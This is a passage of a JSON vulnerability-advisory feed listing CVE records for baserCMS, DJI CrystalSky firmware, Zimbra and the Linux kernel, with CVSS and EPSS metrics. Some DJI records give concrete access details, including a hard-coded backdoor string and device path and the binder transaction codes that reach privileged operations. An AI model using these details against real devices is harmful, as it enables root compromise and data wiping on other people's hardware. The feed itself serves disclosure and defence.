fragments in those options to execute arbitrary SQL against the application's database, including reading password hashes from the users table. Public-page and public-API fixes released in 5.3.1 and 5.4.1 did not protect these administrative paths. Setting USE_CORE_ADMIN_API to false does not prevent access through an authenticated browser session. This issue has been patched in versions 5.3.2 and 5.4.2.","detail":"baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, list and detail actions in the Admin and Api/Admin prefixes pass request query parameters, including contain, conditions, fields, finder, and order, directly to the ORM as options. A user able to log into the admin panel can embed SQL fragments in those options to execute arbitrary SQL against the application's database, including reading password hashes from the users table. Public-page and public-API fixes released in 5.3.1 and 5.4.1 did not protect these administrative paths. Setting USE_CORE_ADMIN_API to false does not prevent access through an authenticated browser session. This issue has been patched in versions 5.3.2 and 5.4.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:51.143Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114621","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00352,"percentile":0.28548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114621&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114621","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114621","type":"primary","publishedAt":"2026-10-23T14:17:51.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114621&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114621, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114356","cveId":"CVE-2026-114356","aliases":[],"kind":"vulnerability","title":"Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no...","summary":"Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to invoke privileged operations, including factory reset with user-data wipe (transaction 153), shutdown (105), clock/timezone change (101/123), and the firmware-apply hand-off (151), because onTransact() performs no caller-identity or permission check.","detail":"Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to invoke privileged operations, including factory reset with user-data wipe (transaction 153), shutdown (105), clock/timezone change (101/123), and the firmware-apply hand-off (151), because onTransact() performs no caller-identity or permission check.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:36.507Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114356","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00119,"percentile":0.01753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114356","type":"primary","publishedAt":"2026-10-23T14:17:36.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114355","cveId":"CVE-2026-114355","aliases":[],"kind":"vulnerability","title":"OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to...","summary":"OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to execute arbitrary commands as root by writing a crafted line to the Android log (logcat), which the helper reads and passes to a shell eval.","detail":"OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to execute arbitrary commands as root by writing a crafted line to the Android log (logcat), which the helper reads and passes to a shell eval.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:36.323Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114355","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.01206,"percentile":0.68104,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114355&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114355","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114355","type":"primary","publishedAt":"2026-10-23T14:17:36.323Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114355&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114355, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114354","cveId":"CVE-2026-114354","aliases":[],"kind":"vulnerability","title":"Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a...","summary":"Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to execute arbitrary OS commands as root, because the handler passes a caller-supplied string to system() in the root-privileged 'assistant' daemon without any caller-identity or permission check.","detail":"Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to execute arbitrary OS commands as root, because the handler passes a caller-supplied string to system() in the root-privileged 'assistant' daemon without any caller-identity or permission check.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:35.297Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114354","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.0013,"percentile":0.02607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114354","type":"primary","publishedAt":"2026-10-23T14:17:35.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114353","cveId":"CVE-2026-114353","aliases":[],"kind":"vulnerability","title":"Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a...","summary":"Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a physically-present attacker with USB access to execute arbitrary OS commands as root by sending the hard-coded magic string 'dji26656677' to the USB-gadget serial interface (/dev/ttyGS0), after which each subsequent line is passed to system().","detail":"Hidden functionality (undocumented backdoor) in the root-privileged 'assistant' daemon in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a physically-present attacker with USB access to execute arbitrary OS commands as root by sending the hard-coded magic string 'dji26656677' to the USB-gadget serial interface (/dev/ttyGS0), after which each subsequent line is passed to system().\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:33.397Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114353","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00155,"percentile":0.04576,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114353","type":"primary","publishedAt":"2026-10-23T14:17:33.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10632","cveId":"CVE-2026-10632","aliases":[],"kind":"vulnerability","title":"A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter...","summary":"A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter of the /h/rest document editor. The editor inserts package names into script attributes without HTML encoding. When combined with CVE-2026-50053, an attacker with an ordinary Zimbra account can supply their own authentication token and document identifiers in a URL and execute JavaScript in another signed-in user's Zimbra browser session when that user opens the URL. This permits reading mailbox data and performing authenticated actions as the victim. The issue affects ZCS 10.1.16 and was remediated in 10.1.17.","detail":"A reflected cross-site scripting vulnerability in the Classic Web Client of Zimbra Collaboration Suite (ZCS) allows an attacker to inject JavaScript through the packages parameter of the /h/rest document editor. The editor inserts package names into script attributes without HTML encoding. When combined with CVE-2026-50053, an attacker with an ordinary Zimbra account can supply their own authentication token and document identifiers in a URL and execute JavaScript in another signed-in user's Zimbra browser session when that user opens the URL. This permits reading mailbox data and performing authenticated actions as the victim. The issue affects ZCS 10.1.16 and was remediated in 10.1.17.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:31.107Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10632","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00301,"percentile":0.22658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10632","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10632","type":"primary","publishedAt":"2026-10-23T14:17:31.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99083","cveId":"CVE-2026-99083","aliases":[],"kind":"vulnerability","title":"Linux kernel: ksmbd: fix heap out-of-bounds write in krb5_authenticate()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix heap out-of-bounds write in krb5_authenticate()\n\nIn krb5_authenticate(), out_len is calculated to determine available\nheadroom in response_buf for the incoming Kerberos AP-REP token. However,\nwhen SMB2_SESSION_SETUP is processed as a non-first element of a compounded\nSMB2 request, the calculation omits work->next_smb2_rsp_hdr_off.\n\nThis causes out_len to overstate remaining buffer headroom by\nthe cumulative size of prior responses in the compound chain. Consequently,\nthe length check in ksmbd_krb5_authenticate()\n(*out_len <= resp->spnego_blob_len) passes erroneously, allowing memcpy()\nto write the AP-REP blob past the end of response_buf into adjacent kernel\nheap memory.\n\nFix this by subtracting work->next_smb2_rsp_hdr_off when computing out_len,\nensuring it accurately reflects physical remaining buffer space.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix heap out-of-bounds write in krb5_authenticate()\n\nIn krb5_authenticate(), out_len is calculated to determine available\nheadroom in response_buf for the incoming Kerberos AP-REP token. However,\nwhen SMB2_SESSION_SETUP is processed as a non-first element of a compounded\nSMB2 request, the calculation omits work->next_smb2_rsp_hdr_off.\n\nThis causes out_len to overstate remaining buffer headroom by\nthe cumulative size of prior responses in the compound chain. Consequently,\nthe length check in ksmbd_krb5_authenticate()\n(*out_len <= resp->spnego_blob_len) passes erroneously, allowing memcpy()\nto write the AP-REP blob past the end of response_buf into adjacent kernel\nheap memory.\n\nFix this by subtracting work->next_smb2_rsp_hdr_off when computing out_len,\nensuring it accurately reflects physical remaining buffer space.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:32.577Z","updatedAt":"2026-10-26T07:17:18.627Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99083","asOf":"2026-10-26T07:17:18.627Z"},"epss":{"probability":0.00408,"percentile":0.34784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99083","type":"primary","publishedAt":"2026-10-23T13:17:32.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99082","cveId":"CVE-2026-99082","aliases":[],"kind":"vulnerability","title":"Linux kernel: KVM: x86: Use active memslots for the per-vCPU MMIO cache","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Use active memslots for the per-vCPU MMIO cache\n\nKVM tags the per-vCPU MMIO cache with a memslot generation so that a\nmemslot update invalidates cached MMIO information.  Both the fill and\nvalidation paths use kvm_memslots(), which unconditionally selects address\nspace 0, even when the vCPU is running in SMM and using address space 1.\n\nCommit 56f17dd3fbc4 (\"kvm: x86: fix stale mmio cache bug\") added the\nmemslot generation to the cache key so that a memslot update could not\nleave a stale entry valid.  When commit 699023e23965 (\"KVM: x86: add SMM\nto the MMU role, support SMRAM address space\") added the SMM address space,\nthese helpers were not converted to use the active memslots.\n\nConsequently, an update to the SMM memslots can leave an entry from the old\nSMM address space apparently valid after the vCPU returns to the normal\naddress space.  A guest can then cause an access to valid RAM at the same\nGFN to be returned to userspace as KVM_EXIT_MMIO.\n\nCompleting that exit through the VMM's RAM address space writes the backing\npage without going through KVM's write-tracking path.  If the page backs a\nnested EPT table, KVM can continue using shadow translations derived from\nthe old contents.  The WARN_ON_ONCE() in kvm_mmu_write_protect_fault()\ncatches this invalid cache and memslot combination.\n\nUse the vCPU's active memslots when caching and validating the entry.\nMemslot generations are unique across address spaces, so the generation\nalso distinguishes the normal and SMM views.  This matches the MMIO SPTE\ncache, which already uses kvm_vcpu_memslots().\n\nOn an unpatched current-mainline kernel, a regression test that fills the\ncache in SMM and updates only the SMM memslots fails the intended RAM write\nand triggers the kvm_mmu_write_protect_fault() warning.  With this change,\nthe same test completes the RAM write without a warning.  The x86/smm_test,\nset_memory_region_test, and memslot_modification_stress_test selftests also\npass.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Use active memslots for the per-vCPU MMIO cache\n\nKVM tags the per-vCPU MMIO cache with a memslot generation so that a\nmemslot update invalidates cached MMIO information.  Both the fill and\nvalidation paths use kvm_memslots(), which unconditionally selects address\nspace 0, even when the vCPU is running in SMM and using address space 1.\n\nCommit 56f17dd3fbc4 (\"kvm: x86: fix stale mmio cache bug\") added the\nmemslot generation to the cache key so that a memslot update could not\nleave a stale entry valid.  When commit 699023e23965 (\"KVM: x86: add SMM\nto the MMU role, support SMRAM address space\") added the SMM address space,\nthese helpers were not converted to use the active memslots.\n\nConsequently, an update to the SMM memslots can leave an entry from the old\nSMM address space apparently valid after the vCPU returns to the normal\naddress space.  A guest can then cause an access to valid RAM at the same\nGFN to be returned to userspace as KVM_EXIT_MMIO.\n\nCompleting that exit through the VMM's RAM address space writes the backing\npage without going through KVM's write-tracking path.  If the page backs a\nnested EPT table, KVM can continue using shadow translations derived from\nthe old contents.  The WARN_ON_ONCE() in kvm_mmu_write_protect_fault()\ncatches this invalid cache and memslot combination.\n\nUse the vCPU's active memslots when caching and validating the entry.\nMemslot generations are unique across address spaces, so the generation\nalso distinguishes the normal and SMM views.  This matches the MMIO SPTE\ncache, which already uses kvm_vcpu_memslots().\n\nOn an unpatched current-mainline kernel, a regression test that fills the\ncache in SMM and updates only the SMM memslots fails the intended RAM write\nand triggers the kvm_mmu_write_protect_fault() warning.  With this change,\nthe same test completes the RAM write without a warning.  The x86/smm_test,\nset_memory_region_test, and memslot_modification_stress_test selftests also\npass.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:32.440Z","updatedAt":"2026-10-24T14:16:55.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99082","asOf":"2026-10-24T14:16:55.260Z"},"epss":{"probability":0.00156,"percentile":0.04683,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99082","type":"primary","publishedAt":"2026-10-23T13:17:32.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99081","cveId":"CVE-2026-99081","aliases":[],"kind":"vulnerability","title":"Linux kernel: bnxt_en: fix DMA mapping length for padded small packets","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: fix DMA mapping length for padded small packets\n\nStefan Fleischmann reported Intel IOMMU DMA Read faults on BCM57412\nNetXtreme-E NICs when transmitting packets on VLAN/macvlan interfaces:\n\n  DMAR: [DMA Read NO_PASID] Request device [18:00.0] fault addr 0xfc499000\n        [fault reason 0x06] PTE Read access is not set\n  bnxt_en 0000:18:00.0 eno1np0: Abandoning msg {0xb4 0x41a} len: 0 due to firmware status: 0x2000001\n  ...\n  NETDEV WATCHDOG: eno1np0 (bnxt_en): transmit queue 0 timed out\n\nThe fault address (0xfc499000) is on an exact 4KB page boundary,\npointing to a DMA read buffer overrun.\n\nIn bnxt_start_xmit(), packets smaller than BNXT_MIN_PKT_SIZE (52 bytes),\nsuch as 42-byte untagged ARP frames, are padded:\n\n    if (length < BNXT_MIN_PKT_SIZE) {\n        pad = BNXT_MIN_PKT_SIZE - length;\n        if (skb_pad(skb, pad))\n            goto tx_kick_pending;\n        length = BNXT_MIN_PKT_SIZE;\n    }\n\n    mapping = dma_map_single(&pdev->dev, skb->data, len, DMA_TO_DEVICE);\n    ...\n    dma_unmap_len_set(tx_buf, len, len);\n\nHowever, 'len' was initialized earlier to skb_headlen(skb) (e.g. 42 bytes)\nand is left unadjusted after padding. Consequently, dma_map_single() and\ndma_unmap_len_set() map and track only 42 bytes.\n\nLater, the hardware TX buffer descriptor is programmed with the padded length:\n\n    txbd->tx_bd_len_flags_type =\n        cpu_to_le32(((len + pad) << TX_BD_LEN_SHIFT) | flags |\n                    TX_BD_FLAGS_PACKET_END);\n\nThe NIC DMA engine is thus instructed to read 52 bytes from a region where\nonly 42 bytes were DMA-mapped. If skb->data ends near the boundary of a 4KB\npage (within 'pad' bytes of the next page), the hardware DMA read overruns\ninto the unmapped adjacent page, triggering an IOMMU fault.\n\nThis issue was exposed after commit 447cbe95ebb9 (\"vlan: fix skb_under_panic\nand races when toggling HW VLAN offload\") because reserving extra VLAN\nheadroom rounded LL_RESERVED_SPACE from 48 up to 64 bytes, shifting skb->data\noffsets and potentially causing small frames to land right against page\nboundaries.\n\nFix this by using skb_put_padto(skb, BNXT_MIN_PKT_SIZE) in\nbnxt_start_xmi","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt_en: fix DMA mapping length for padded small packets\n\nStefan Fleischmann reported Intel IOMMU DMA Read faults on BCM57412\nNetXtreme-E NICs when transmitting packets on VLAN/macvlan interfaces:\n\n  DMAR: [DMA Read NO_PASID] Request device [18:00.0] fault addr 0xfc499000\n        [fault reason 0x06] PTE Read access is not set\n  bnxt_en 0000:18:00.0 eno1np0: Abandoning msg {0xb4 0x41a} len: 0 due to firmware status: 0x2000001\n  ...\n  